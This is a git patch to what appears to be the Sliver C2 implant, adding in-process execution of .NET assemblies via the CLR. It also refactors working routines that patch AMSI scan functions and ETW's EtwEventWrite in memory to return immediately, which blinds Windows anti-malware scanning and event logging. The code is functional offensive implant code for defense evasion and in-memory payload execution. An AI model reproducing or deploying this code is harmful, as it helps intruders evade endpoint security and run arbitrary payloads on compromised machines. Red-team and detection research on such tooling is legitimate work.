From 3b3a335c411cd4e6c5c7ba7cef471506fdd5b378 Mon Sep 17 00:00:00 2001 From: rkervella Date: Fri, 26 Aug 2022 10:50:59 -0700 Subject: [PATCH] Working in-mem `execute-assembly` --- implant/sliver/taskrunner/dotnet_windows.go | 106 +++++++++++ implant/sliver/taskrunner/task_windows.go | 194 +++++++------------- 2 files changed, 172 insertions(+), 128 deletions(-) create mode 100644 implant/sliver/taskrunner/dotnet_windows.go diff --git a/implant/sliver/taskrunner/dotnet_windows.go b/implant/sliver/taskrunner/dotnet_windows.go new file mode 100644 index 0000000000..80bfd55308 --- /dev/null +++ b/implant/sliver/taskrunner/dotnet_windows.go @@ -0,0 +1,106 @@ +//go:build windows +// +build windows + +package taskrunner + +import ( + "crypto/sha256" + "errors" + "fmt" + clr "github.com/Ne0nd0g/go-clr" + "sync" + // {{if .Config.Debug}} + "log" + // {{end}} +) + +var ( + clrInstance *CLRInstance + assemblies []*assembly +) + +type assembly struct { + methodInfo *clr.MethodInfo + hash [32]byte +} + +type CLRInstance struct { + runtimeHost *clr.ICORRuntimeHost + sync.Mutex +} + +func (c *CLRInstance) GetRuntimeHost(runtime string) *clr.ICORRuntimeHost { + c.Lock() + defer c.Unlock() + if c.runtimeHost == nil { + // {{if .Config.Debug}} + log.Printf("Initializing CLR runtime host") + // {{end}} + c.runtimeHost, _ = clr.LoadCLR(runtime) + err := clr.RedirectStdoutStderr() + if err != nil { + // {{if .Config.Debug}} + log.Printf("could not redirect stdout/stderr: %v\n", err) + // {{end}} + } + } + return c.runtimeHost +} + +func LoadAssembly(data []byte, assemblyArgs []string, runtime string) (string, error) { + var ( + methodInfo *clr.MethodInfo + err error + ) + + rtHost := clrInstance.GetRuntimeHost(runtime) + if rtHost == nil { + return "", errors.New("Could not load CLR runtime host") + } + + if asm := getAssembly(data); asm != nil { + methodInfo = asm.methodInfo + } else { + methodInfo, err = clr.LoadAssembly(rtHost, data) + if err != nil { + // {{if .Config.Debug}} + log.Printf("could not load assembly: %v\n", err) + // {{end}} + return "", err + } + addAssembly(methodInfo, data) + } + if len(assemblyArgs) == 1 && assemblyArgs[0] == "" { + // for methods like Main(String[] args), if we pass an empty string slice + // the clr loader will not pass the argument and look for a method with + // no arguments, which won't work + assemblyArgs = []string{" "} + } + // {{if .Config.Debug}} + log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo) + log.Printf("Calling assembly with args: %+v\n", assemblyArgs) + // {{end}} + stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs) + return fmt.Sprintf("%s\n%s", stdout, stderr), nil +} + +func addAssembly(methodInfo *clr.MethodInfo, data []byte) { + asmHash := sha256.Sum256(data) + asm := &assembly{methodInfo: methodInfo, hash: asmHash} + assemblies = append(assemblies, asm) +} + +func getAssembly(data []byte) *assembly { + asmHash := sha256.Sum256(data) + for _, asm := range assemblies { + if asm.hash == asmHash { + return asm + } + } + return nil +} + +func init() { + clrInstance = &CLRInstance{} + assemblies = make([]*assembly, 0) +} diff --git a/implant/sliver/taskrunner/task_windows.go b/implant/sliver/taskrunner/task_windows.go index a3384e3daa..7c69112244 100644 --- a/implant/sliver/taskrunner/task_windows.go +++ b/implant/sliver/taskrunner/task_windows.go @@ -25,8 +25,6 @@ import ( // {{if .Config.Debug}} "log" // {{else}}{{end}} - "errors" - "fmt" "os/exec" "runtime" "strings" @@ -41,7 +39,6 @@ import ( // {{end}} - clr "github.com/Ne0nd0g/go-clr" "github.com/bishopfox/sliver/implant/sliver/syscalls" "golang.org/x/sys/windows" ) @@ -203,153 +200,94 @@ func LocalTask(data []byte, rwxPages bool) error { return err } -func getDotnetRutnimes() ([]string, error) { - metaHost, err := clr.CLRCreateInstance(clr.CLSID_CLRMetaHost, clr.IID_ICLRMetaHost) - if err != nil { - // {{if .Config.Debug}} - log.Printf("could not create CLR instance: %v\n", err) - // {{end}} - return nil, err - } - runtimes, err := clr.GetInstalledRuntimes(metaHost) - if err != nil { - // {{if .Config.Debug}} - log.Printf("could not get installed runtimes: %v\n", err) - // {{end}} - return nil, err - } - return runtimes, nil -} - -func isSupportedRuntime(runtime string) bool { - runtimes, err := getDotnetRutnimes() - if err != nil { - return false - } - for _, r := range runtimes { - if runtime == r { - return true - } - } - return false -} - -func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) { - if amsiBypass { - // load amsi.dll - amsiDLL := windows.NewLazyDLL("amsi.dll") - amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer") - amsiInitialize := amsiDLL.NewProc("AmsiInitialize") - amsiScanString := amsiDLL.NewProc("AmsiScanString") - - // patch - amsiAddr := []uintptr{ - amsiScanBuffer.Addr(), - amsiInitialize.Addr(), - amsiScanString.Addr(), - } - patch := byte(0xC3) - for _, addr := range amsiAddr { - // skip if already patched - if *(*byte)(unsafe.Pointer(addr)) != patch { - // {{if .Config.Debug}} - log.Println("Patching AMSI") - // {{end}} - var oldProtect uint32 - err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect) - if err != nil { - //{{if .Config.Debug}} - log.Println("VirtualProtect failed:", err) - //{{end}} - return "", err - } - *(*byte)(unsafe.Pointer(addr)) = 0xC3 - err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect) - if err != nil { - //{{if .Config.Debug}} - log.Println("VirtualProtect (restauring) failed:", err) - //{{end}} - return "", err - } - } - } - } - if etwBypass { - ntdll := windows.NewLazyDLL("ntdll.dll") - etwEventWriteProc := ntdll.NewProc("EtwEventWrite") +func patchAmsi() error { + // load amsi.dll + amsiDLL := windows.NewLazyDLL("amsi.dll") + amsiScanBuffer := amsiDLL.NewProc("AmsiScanBuffer") + amsiInitialize := amsiDLL.NewProc("AmsiInitialize") + amsiScanString := amsiDLL.NewProc("AmsiScanString") - // patch - patch := byte(0xC3) + // patch + amsiAddr := []uintptr{ + amsiScanBuffer.Addr(), + amsiInitialize.Addr(), + amsiScanString.Addr(), + } + patch := byte(0xC3) + for _, addr := range amsiAddr { // skip if already patched - if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch { + if *(*byte)(unsafe.Pointer(addr)) != patch { // {{if .Config.Debug}} - log.Println("Patching ETW") + log.Println("Patching AMSI") // {{end}} var oldProtect uint32 - err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect) + err := windows.VirtualProtect(addr, 1, windows.PAGE_READWRITE, &oldProtect) if err != nil { //{{if .Config.Debug}} log.Println("VirtualProtect failed:", err) //{{end}} - return "", err + return err } - *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3 - err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect) + *(*byte)(unsafe.Pointer(addr)) = 0xC3 + err = windows.VirtualProtect(addr, 1, oldProtect, &oldProtect) if err != nil { //{{if .Config.Debug}} log.Println("VirtualProtect (restauring) failed:", err) //{{end}} - return "", err + return err } } } - err := clr.RedirectStdoutStderr() - if err != nil { - // {{if .Config.Debug}} - log.Printf("could not redirect stdout/stderr: %v\n", err) - // {{end}} - return "", err - } - runtimes, err := getDotnetRutnimes() - if err != nil { - // {{if .Config.Debug}} - log.Printf("could not get installed runtimes: %v\n", err) - // {{end}} - return "", err - } - if len(runtimes) == 0 { + return nil +} + +func patchEtw() error { + ntdll := windows.NewLazyDLL("ntdll.dll") + etwEventWriteProc := ntdll.NewProc("EtwEventWrite") + + // patch + patch := byte(0xC3) + // skip if already patched + if *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) != patch { // {{if .Config.Debug}} - log.Printf("no runtimes found") + log.Println("Patching ETW") // {{end}} - return "", errors.New("no runtimes found") - } - rt := runtimes[0] - if runtime != "" && isSupportedRuntime(runtime) { - rt = runtime + var oldProtect uint32 + err := windows.VirtualProtect(etwEventWriteProc.Addr(), 1, windows.PAGE_READWRITE, &oldProtect) + if err != nil { + //{{if .Config.Debug}} + log.Println("VirtualProtect failed:", err) + //{{end}} + return err + } + *(*byte)(unsafe.Pointer(etwEventWriteProc.Addr())) = 0xC3 + err = windows.VirtualProtect(etwEventWriteProc.Addr(), 1, oldProtect, &oldProtect) + if err != nil { + //{{if .Config.Debug}} + log.Println("VirtualProtect (restauring) failed:", err) + //{{end}} + return err + } } - // {{if .Config.Debug}} - log.Printf("using runtime: %s", rt) - // {{end}} - runtimeHost := clrInstance.GetRuntimeHost(rt) - // {{if .Config.Debug}} - log.Println("CLR loaded") - // {{end}} - methodInfo, err := clr.LoadAssembly(runtimeHost, assemblyBytes) - if err != nil { - // {{if .Config.Debug}} - log.Printf("could not load assembly: %v\n", err) - // {{end}} - return "", err + return nil +} + +func InProcExecuteAssembly(assemblyBytes []byte, assemblyArgs []string, runtime string, amsiBypass bool, etwBypass bool) (string, error) { + if amsiBypass { + err := patchAmsi() + if err != nil { + return "", err + } } - if len(assemblyArgs) == 1 && assemblyArgs[0] == "" { - assemblyArgs = []string{" "} + + if etwBypass { + err := patchEtw() + if err != nil { + return "", err + } } - // {{if .Config.Debug}} - log.Printf("Assembly loaded, methodInfo: %+v\n", methodInfo) - log.Printf("Calling assembly with args: %+v\n", assemblyArgs) - // {{end}} - stdout, stderr := clr.InvokeAssembly(methodInfo, assemblyArgs) - return fmt.Sprintf("%s\n%s", stdout, stderr), nil + + return LoadAssembly(assemblyBytes, assemblyArgs, runtime) } func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {